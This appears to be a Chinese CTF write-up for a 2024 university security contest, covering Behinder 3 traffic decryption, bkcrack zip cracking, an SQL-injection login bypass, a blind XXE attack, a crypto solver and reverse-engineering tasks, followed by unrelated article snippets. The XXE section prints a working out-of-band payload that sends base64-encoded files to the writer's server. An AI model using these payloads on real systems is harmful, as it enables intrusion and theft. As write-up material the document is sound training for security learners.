【2024高校网络安全管理运维赛】巨细记录!
2024高校网络安全管理运维赛
文章目录
- 2024高校网络安全管理运维赛
- MISC
- 签到
- 考点:动态图片分帧提取
- easyshell
- 考点:流量分析 冰蝎3.0
- Web
- phpsql
- 考点:sql万能钥匙
- fileit
- 考点:xml注入 外带
- Crypto
- secretbit
- 考点:代码阅读理解 频率分析
- RE
- easyre
- 考点:base64换表
- babyre
- 考点:UPX脱壳,Z3求解
MISC
签到
考点:动态图片分帧提取
没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取
然后按照图片所述,上cyberchef rot13解密
easyshell
考点:流量分析 冰蝎3.0

打开后过滤一下http
追踪http流

先分析一下特征,发现是冰蝎3
判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134
- Accept字段
Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
- UserAgent字段
(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)
- 长连接
到此确定为冰蝎3
然后去翻到下面看返回的数据,需要对其发送请求的内容进行解密
冰蝎3主要就两层加密如下:
AES + BASE64解密

https://blog.csdn.net/weixin_46081055/article/details/120007338
其中AES的密钥一般是默认的e45e329feb5d925b
iv全设置为0
去一点点追踪http流看看解密后内容
主要是看蓝色返回包内容

从少的开始 从后往前
AES:


注意这段非常重要
继续往上

检测到压缩包PK开头特征

提取zip 直接按右边的保存即可提取成功


两个文件 secret1 和 secret2在一个压缩包里 但是都需要密码
在往上走

其中对最后两个解密 第一个是secret2.txt
第二个是temp.zip
这和我们的提取出来的非常一致啊
就这几个信息 还能干嘛 回忆我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容
那么这个压缩包已知其中一个文件内容,利用已知明文攻击,上工具bkcrack
首先构造一下文件目录 测试了


know.zip放的内容如上
构造命令:
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt
其中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!
然后-C应该是指外层文件,-c应该是内层文件

拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu
bkcrack -C download.zip -k <key> -U flag.zip happysu

在flag.zip中拿下

参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948
Web
phpsql
考点:sql万能钥匙
开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注
但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧
下面是解题思路

首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧

注册好后,登录,可以发现需要登录一个admin用户
结合题目描述 > 你能成为管理员吗 可以确定需要作为admin用户登录
先尝试一下对用户名采用万能钥匙

败了

那么 非常新颖的思路来了!确定用户名是admin 所以对密码进行万能钥匙!
不能有空格 故输入'||1#
登录成功,直接拿下:
不过关于这题还要补充一下:其实在真实场景中对密码进行这样的sql注入是不合理> 的,毕竟绝大多网站都会把密码转md5加密后存储
fileit
考点:xml注入 外带
首先开题,就一个非常直白的界面
Ctrl+U 看一下

非常明显的提示,但是我不懂,搜一下

不是很理解 呜呜 问一下gpt
simplexml_import_dom()函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简单 XML)节点。DOM 是一种树状结构,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简单且易于使用的 XML 解析器,允许开发者使用面向对象的方式轻松地处理 XML 数据。与 XXE(XML 外部实体注入)相关的内容是在处理 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 解析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 解析器对外部实体默认是启用的,这意味着如果应用程序在处理用户提供的 XML 数据时不小心暴露了 XML 解析器,就有可能成为 XXE 攻击的目标。
此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为漏洞源码如下:
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
所以我们来尝试一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的
发包内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
自己的服务器上接收数据:
eval.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
参考来源:http://tttang.com/archive/1716/#toc__6

其实一开始可以先读个file:///etc/passwd 测试一下
那么接下来是对浏览器抓包 这里其实当时踩坑了 因为题目环境一开始不出网 所以根本没法打 后面重启了一下才可以
抓包后修改一下请求包类型

起初content-Type是没有的

改成这样

个人踩坑:
httpd 也就是nginx没启动 没设置开机自启
启动命令
systemctl status nginx #状态 systemctl start nginx #启动

查看服务器访问日志
拿下:

Crypto
secretbit
考点:代码阅读理解 频率分析
题目:
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messageMAX_M = 400
MIN_M = 200
#把flag转成整形 然后再转为二进制
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []for bi in tqdm(flag_b):#对每一个二进制位操作#生成合适的tmp_m0 n0 m1 n1while True:# m = 200 - 400# n = 100 - 356tmp_m0 = randrange(MIN_M, MAX_M)tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))tmp_m1 = randrange(MIN_M, MAX_M)tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:breakchoose_m = tmp_m0 if bi == 0 else tmp_m1choose_n = tmp_n0 if bi == 0 else tmp_n1leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))
解题:
其中注释都是自己加的,虽然一开题还是有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai那个根本看不懂,只能来好好分析一下咯
先写一点小demo进行测试一下instance函数在干什么
首先是对于shuffle
start = list(range(10))
print(start)
shuffle(start) #直接打乱 不需要接收
print(start)
result:
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
[2, 1, 4, 5, 3, 8, 0, 7, 6, 9]
这个对题目也没有什么影响,了解一下就好
下面是最关键的
我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 需要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是等于哪个
所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果


两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊
思考思考,必须恢复,那我们要看看频率了 看看1和0的频率
针对0和1统计频率 你能想到什么!必然是求和!非常方便

可以发现频率是比较稳定的
看看另一个

其实差距还是蛮大的 所以说 判断的方法就是 两个都自己本地leak一次 得到频率 然后读取题目泄露的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦
exp:
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdmdef instance(m, n):#随机性start = list(range(m))shuffle(start)for i in range(m):now = start[i]this_turn = Falsefor j in range(n-1):if now == i:this_turn = Truebreaknow = start[now]if not this_turn:return 0return 1def leak(m, n, times=2000):message = [instance(m, n) for _ in range(times)]return messagewith open('data.txt', 'r') as file:# 读取文件中的数据data = file.read()# 将读取的字符串数据转换为列表 注意这是一个三元组
leak_message = eval(data)flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:m0 = bit[0][0]n0 = bit[0][1]m1 = bit[1][0]n1 = bit[1][1]res = sum(bit[2])res0 = sum(leak(m0, n0))res1 = sum(leak(m1, n1))#如果0接近if abs(res0 - res) < abs(res1 - res):flag_b.append('0')else:flag_b.append('1')print(''.join(flag_b))print(''.join(flag_b))
10min左右
拿下:
a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'
RE
easyre
考点:base64换表
开题
shift+F12 打开字符串

一眼定 base64换表

babyre
考点:UPX脱壳,Z3求解
开题一看 这么几个函数,必定加壳了

用exeinfo查一下

发现是UPX壳 用给出的命令脱壳

同样先shift+F12查看一下字符串

找到非常吸睛的flag!

显然有四个加密点,需要我们去恢复,只要恢复回来就会直接输出flag
注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7

Part1:

第一部分的条件非常清晰
a1 - 0xADB1D018 == 0x36145344
Part2:

(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8
Part3:

a1 < 0x100000004 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))+ -3 * (~a1 | 0xA8453437)+ 3 * ~(a1 | 0xA8453437)- (-10 * (a1 & 0xA8453437)+ (a1 ^ 0xA8453437)) == 551387557
Part4:
11 * ~(a1 ^ 0xE33B67BD)+ 4 * ~(~a1 | 0xE33B67BD)- (6 * (a1 & 0xE33B67BD)+ 12 * ~(a1 | 0xE33B67BD))+ 3 * (a1 & 0xD2C7FC0C)+ -5 * a1- 2 * ~(a1 | 0xD2C7FC0C)+ ~(a1 | 0x2D3803F3)+ 4 * (a1 & 0x2D3803F3)- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC
注意上面的a1不一定是最终的a4 因为参数不一样
使用z3求解器
from z3 import *
s = Solver()
a4 = BitVec("a4", 32)
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
s.add( a1 - 0xADB1D018 == 0x36145344)
s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )
s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437) + (a3 ^ 0xA8453437)) == 551387557 )
s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)if s.check() == sat:print(s.model())
else:print("???? ERROR")
直接梭了
result:
[a3 = 78769651,a4 = 2341511158,a2 = 98124621,a1 = 3821413212]

拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}
相关文章:
【2024高校网络安全管理运维赛】巨细记录!
2024高校网络安全管理运维赛 文章目录 2024高校网络安全管理运维赛MISC签到考点:动态图片分帧提取 easyshell考点:流量分析 冰蝎3.0 Webphpsql考点:sql万能钥匙 fileit考点:xml注入 外带 Cryptosecretbit考点:代码阅读…...
Nuxt.js实战:Vue.js的服务器端渲染框架
创建Nuxt.js项目 首先,确保你已经安装了Node.js和yarn或npm。然后,通过命令行创建一个新的Nuxt.js项目: yarn create nuxt-app my-nuxt-project cd my-nuxt-project在创建过程中,你可以选择是否需要UI框架、预处理器等选项&…...
提高Rust安装与更新的速度
一、背景 因为rust安装过程中,默认的下载服务器为crates.io,这是一个国外的服务器,国内用户使用时,下载与更新的速度非常慢,因此,我们需要使用一个国内的服务器来提高下载与更新的速度。 本文推荐使用字节…...
【linux软件基础知识】内核代码中的就绪队列简化示例
在内核代码中,就绪队列通常使用允许高效插入和删除进程的数据结构来表示。 用于表示就绪队列的一种常见数据结构是链表。 以下是如何使用链表在内核代码中表示就绪队列的简化示例: struct task_struct {// Process control block (PCB) fields// ...struct task_struct *nex…...
《C++学习笔记---初阶篇6》---string类 上
目录 1. 为什么要学习string类 1.1 C语言中的字符串 2. 标准库中的string类 2.1 string类(了解) 2.2 string类的常用接口说明 2.2.1. string类对象的常见构造 2.2.2. string类对象的容量操作 2.2.3.再次探讨reserve与resize 2.2.4.string类对象的访问及遍历操作 2.2.5…...
mysql中的页和行
页 行即表中的真实行,‘行式数据库’的由来 虽然MySQL的数据文件(例如.ibd文件)中的数据页在物理上是通过链表连接的,但是在逻辑上,MySQL使用B树来组织和访问数据。 行:主要是dynamic类型...
Vim常用快捷键
这个是我的草稿本记录一下防止丢失,以后有时间进行整理 0 或功能键[Home]这是数字『 0 』:移动到这一行的最前面字符处 (常用)$ 或功能键[End]移动到这一行的最后面字符处(常用)G移动到这个档案的最后一行(常用)nGn 为数字。移动到这个档案的第 n 行。例…...
力扣题目汇总分析 利用树形DP解决问题
树里 任意两个节点之间的问题。而不是根节点到叶子节点的问题或者是父节点到子节点的问题。通通一个套路,即利用543的解题思路。 543.二叉树的直径 分析 明确:二叉树的 直径 是指树中任意两个节点之间最长路径的 长度。两个节点之间的最长路径是他们之…...
GO语言核心30讲 实战与应用 (第二部分)
原站地址:Go语言核心36讲_Golang_Go语言-极客时间 一、sync.WaitGroup和sync.Once 1. sync.WaitGroup 比通道更加适合实现一对多的 goroutine 协作流程。 2. WaitGroup类型有三个指针方法:Wait、Add和Done,以及内部有一个计数器。 (1) Wa…...
linux设置挂载指定的usb,自动挂载
一、设置指定的USB 在Linux系统中,如果您只想让系统挂载特定的USB设备,而忽略其他的USB设备,可以通过创建自定义的udev规则来实现。以下是设置系统只能挂载指定USB设备的基本步骤: 确定USB设备的属性: 首先࿰…...
简站WordPress主题
简站WordPress主题是一种专为建立网站而设计的WordPress模板,它旨在简化网站建设过程,使得用户能够更容易地创建和管理自己的网站。简站WordPress主题具有以下特点: 易用性:简站WordPress主题被设计为简单易用,适合各…...
is和==的关系
Python中is和的关系 is判断两个变量是不是指的是同一个内存地址,也就是通过id()函数判断 判断两个变量的值是不是相同 a [1, 2, 3, 4] b [1, 2, 3, 4] print(id(a)) # 2298268712768 print(id(b)) # 2298269716992 print(a is b) # False print(a b) # Tr…...
璩静是为了薅百度羊毛
关注卢松松,会经常给你分享一些我的经验和观点。 百度副总裁璩静离职了,网传她的年薪是1500万,而璩静在4月24日注册了一个文化传媒公司,大家都认为璩静是在为离职做准备。但松松我认为不是。 我认为:璩静成立新公司是…...
Element ui input 限制只能输入数字,且只能有两位小数
<el-form-item label"整体进度:" prop"number"> <el-input v-model"formInline.number" input"handleInput" placeholder"百分比" clearable></el-input>% </el-form-item&g…...
吃掉 N 个橘子的最少天数
代码实现: 方法一:递归——超时 #define min(a, b) ((a) > (b) ? (b) : (a))int minDays(int n) {if (n 1 || n 2) {return n;}if (n % 3 0) {if (n % 2 0) {return min(min(minDays(n - 1), minDays(n / 2)), minDays(n - 2 * (n / 3))) 1;} e…...
JavaScript 之 toString()方法详解
一、前言: 在 JavaScript 中,toString() 方法是很多数据类型内置的方法,它被用于将特定的数据类型转换为字符串。但是在不同的数据类型中的作用并非完全相同,下面就来详细讲解一下 toString() 方法在各种数据类型中的使用和作用…...
PPMP_char3
PMPP char3 – Multidimensional grids and data 五一过后,有些工作要赶,抽出时间更新一下。这一章基本都熟练掌握,在做习题过程中有一些思考。这里涉及到了一点点GEMM(矩阵乘),GEMM有太多可深挖的了&a…...
VulkanSDK Demos vkcube 编译失败
操作系统: Windows 11 23H2 Vulkan 版本: 1.3.2.280.0 Visual Studio 版本: 2022 在VulkanSDK/Demos目录下存在一个demo solution,其中包含两个project, vkcube和vkcubepp,两个分别为C语言和C写的示例程序, 但是直接编译这两个project时会编译失败,报了以下错误: fatal err…...
(二)Jetpack Compose 布局模型
前文回顾 (一)Jetpack Compose 从入门到会写-CSDN博客 首先让我们回顾一下上一篇文章中里提到过几个问题: ComposeView的层级关系,互相嵌套存在的问题? 为什么Compose可以实现只测量一次? ComposeView和…...
【Oracle impdp导入dmp文件(windows)】
Oracle impdp导入dmp文件(windows) 1、连接数据库2、创建与导出的模式相同名称的用户WIRELESS2,并赋予权限3、创建directory 的物理目录f:\radio\dmp,并把.dmp文件放进去4、连接新用户WIRELESS25、创建表空间的物理目录F:\radio\t…...
《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》
引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...
【力扣数据库知识手册笔记】索引
索引 索引的优缺点 优点1. 通过创建唯一性索引,可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度(创建索引的主要原因)。3. 可以加速表和表之间的连接,实现数据的参考完整性。4. 可以在查询过程中,…...
.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...
【配置 YOLOX 用于按目录分类的图片数据集】
现在的图标点选越来越多,如何一步解决,采用 YOLOX 目标检测模式则可以轻松解决 要在 YOLOX 中使用按目录分类的图片数据集(每个目录代表一个类别,目录下是该类别的所有图片),你需要进行以下配置步骤&#x…...
【Go语言基础【12】】指针:声明、取地址、解引用
文章目录 零、概述:指针 vs. 引用(类比其他语言)一、指针基础概念二、指针声明与初始化三、指针操作符1. &:取地址(拿到内存地址)2. *:解引用(拿到值) 四、空指针&am…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
tauri项目,如何在rust端读取电脑环境变量
如果想在前端通过调用来获取环境变量的值,可以通过标准的依赖: std::env::var(name).ok() 想在前端通过调用来获取,可以写一个command函数: #[tauri::command] pub fn get_env_var(name: String) -> Result<String, Stri…...
Ubuntu系统多网卡多相机IP设置方法
目录 1、硬件情况 2、如何设置网卡和相机IP 2.1 万兆网卡连接交换机,交换机再连相机 2.1.1 网卡设置 2.1.2 相机设置 2.3 万兆网卡直连相机 1、硬件情况 2个网卡n个相机 电脑系统信息,系统版本:Ubuntu22.04.5 LTS;内核版本…...
Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践
前言:本文将向开发者介绍一款创新性协作工具——Neko虚拟浏览器。在数字化协作场景中,跨地域的团队常需面对实时共享屏幕、协同编辑文档等需求。通过本指南,你将掌握在Ubuntu系统中使用容器化技术部署该工具的具体方案,并结合内网…...





